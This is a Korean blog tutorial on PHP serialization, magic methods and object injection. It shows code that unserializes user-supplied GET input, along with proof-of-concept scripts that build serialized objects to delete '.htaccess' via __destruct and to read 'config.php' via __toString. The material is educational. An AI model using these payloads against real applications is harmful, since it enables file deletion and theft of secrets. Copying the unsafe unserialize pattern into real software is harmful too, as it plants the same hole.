PHP Classes and Objects
아래 코드는 PHP의 Class와 Object의 개념을 위해 작성한 코드로써, 객체 생성 후 PrintVariable 메소드 호출을 통해 variable 변수에 담겨 있는 'This is a string'이라는 문자열을 출력 합니다. 아래 코드를 서버에서 실행 시킬 경우 예상했던대로 'This is a string' 문자열이 출력되는 것을 확인할 수 있습니다.
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <?php class TestClass { // A variable public $variable = 'This is a string'; // A simple method public function PrintVariable() { echo $this->variable; } } // Create an object $object = new TestClass(); // Call a method $object->PrintVariable(); ?> |
output
PHP Magic Methods
다음 함수들은 __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() and __debugInfo() PHP 클래스에서는 특별합니다. 이 함수들과 관련된 특별한 사용외에 클래스에서는 해당 함수명을 사용하지 않아야 합니다.
아래 코드에서 사용되는 __construct(), __destruct(), __toString() 의 사용 용도는 다음과 같습니다.
- __construct 메소드는 object가 만들어질 때 호출 됩니다. (constructor)
- __destruct 메소드는 object가 사라질 때 호출 됩니다.(destructor)
- __toString 메소드는 클래스가 문자열로 변환될때의 동작을 결정하도록 해줍니다.
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | <?php class TestClass { // A variable public $variable = 'This is a string'; // A simple method public function PrintVariable() { echo $this->variable . '<br />'; } // Constructor public function __construct() { echo '__construct <br />'; } // Destructor public function __destruct() { echo '__destruct <br />'; } // Call public function __toString() { return '__toString<br />'; } } // Create an object // Will call __construct $object = new TestClass(); // Call a method // Will print 'This is a string' $object->PrintVariable(); // Object act as a string // Will call __toString echo $object; // End of PHP script // Will call __destruct ?> |
output
PHP Object Serialization
serialize() 는 PHP에 저장할수 있는 어떠한 값의 바이트스트림 표현을 포함한 문자열을 반환합니다. unserialize() 는 이 문자열을 원래의 변수값을 재생성하는데 사용할수 있습니다. serialize로 객체를 저장하는것은 객체안의 모든 변수들을 저장하는것을 의미합니다. 출력된 결과를 통해 알수 있듯이 class 변수와 user데이터인 John과 20이 serialize 됨을 확인할 수 있습니다.
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | <?php // Simple class definition class User { // Class data public $age = 0; public $name = ''; // Print data public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // Create a user $usr = new User(); // Set user data $usr->age = 20; $usr->name = 'John'; // Print data $usr->PrintData(); // Serialize object and print output echo serialize($usr); ?> |
output
serialize된 object를 다시 사용하기 위해서는 unserialize()를 이용합니다.
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | <?php // Simple class definition class User { // Class data public $age = 0; public $name = ''; // Print data public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. '<br />'; } } // Create a user $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'); // Print data $usr->PrintData(); ?> |
output
Serialization magic functions
생성자(__construct),소멸자(__destruct)메소드는 객체 생성 및 소멸시 자동으로 호출 됩니다. 이와 같이 serialize, unserialze시 자동으로 호출되는 함수가 있는데 이 함수들은 다음과 같습니다.
- __sleep 메소드는 객체가 serialize될 때 호출 됩니다.
- __wakeup 메소드는 객체가 deserialize될 때 호출 됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | <?php class Test { public $variable = 'BUZZ'; public $variable2 = 'OTHER'; public function PrintVariable() { echo $this->variable . '<br />'; } public function __construct() { echo '__construct<br />'; } public function __destruct() { echo '__destruct<br />'; } public function __wakeup() { echo '__wakeup<br />'; } public function __sleep() { echo '__sleep<br />'; return array('variable', 'variable2'); } } // Create an object, will call __construct $obj = new Test(); // Serialize object, will call __sleep $serialized = serialize($obj); // Print serialized string print 'Serialized: ' . $serialized . <br />'; // Unserialize string, will call __wakeup $obj2 = unserialize($serialized); // Call PintVariable, will print data (BUZZ) $obj2->PrintVariable(); // PHP script ends, will call __destruct for both objects($obj and $obj2) ?> |
PHP Object Injection
지금껏 object serialization(객체 직렬화)과정에 대해서 실습 했습니다. 해당 취약점을 exploit하기 위해선 어플리케이션 흐름 및 사용가능한 class, magic function에 의존할 수 밖에 없습니다.
웹 어플리케이션의 소스코드 분석 시 __wakeup, __destruct 등 웹 어플리케이션에 영향을 미칠만한 class들이 정의 되어 있는것을 확인할 수 있습니다.
아래 예제 소스코드를 보면 log 파일을 임시로 저작하는 class가 존재 합니다. 해당 객체 소멸 시 더이상 log 파일이 필요 없기 때문에 삭제 합니다.
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | <?php class LogFile { // Specify log filename public $filename = 'error.log'; // Some code public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // Destructor that deletes the log file public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?> |
다음에 나오는 코드는 사용 예제 입니다.
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?php include 'logfile.php'; // Create an object $obj = new LogFile(); // Set filename and log data $obj->filename = 'somefile.log'; $obj->LogData('Test'); // Destructor will be called and 'somefile.log' will be deleted ?> |
또 다른 코드를 분석해보면 unserialize 함수에서 get 방식으로 사용자가 입력한 데이터를 unserialize하는 것을 알수 있습니다.
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | <?php // Simple class definition class User { // Class data public $age = 0; public $name = ''; // Print data public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } $usr = unserialize($_GET['usr_serialized']); $usr->PrintData(); ?> |
output
script
1 2 3 4 5 6 7 8 9 10 | <?php include 'script.php'; $obj = new LogFile(); $obj->filename = '.htaccess'; echo serialize($obj) . '<br />'; ?> | cs |
output
Common Injection potins
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | <?php // ... In some other included file ... class FileClass { // Filename variable public $filename = 'error.log'; // Object used as a string displays the file contents public function __toString() { return file_get_contents($this->filename); } } // Main User class class User { // Class data public $age = 0; public $name = ''; // Allow object to be used as a String public function __toString() { return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // Expected: a serialized User object $obj = unserialize($_GET['usr_serialized']); // Will call __toString method of the unserialized object echo $obj; ?> |
output
script
1 2 3 4 5 6 7 8 9 10 | <?php include 'script.php'; $fileobj = new FileClass(); $fileobj->filename = 'config.php'; echo serialize($fileobj); ?> | cs |
output
참고
[1] https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
'Hacking > WEB Hacking' 카테고리의 다른 글
Web@XXE# XXE(XML eXternal Entity Injection) 가즈아 (0) | 2019.04.07 |
---|---|
Web@WSDL# WSDL Parser & Injection (0) | 2017.11.04 |
Web@SQL Injection# 싱글쿼터 표현 (0) | 2017.10.26 |
Web@PHP# PHP자료형 비교 취약점으로 인한 로그인 우회 (0) | 2017.01.12 |
Web@PHP# PHP 자료형 비교표 (0) | 2017.01.11 |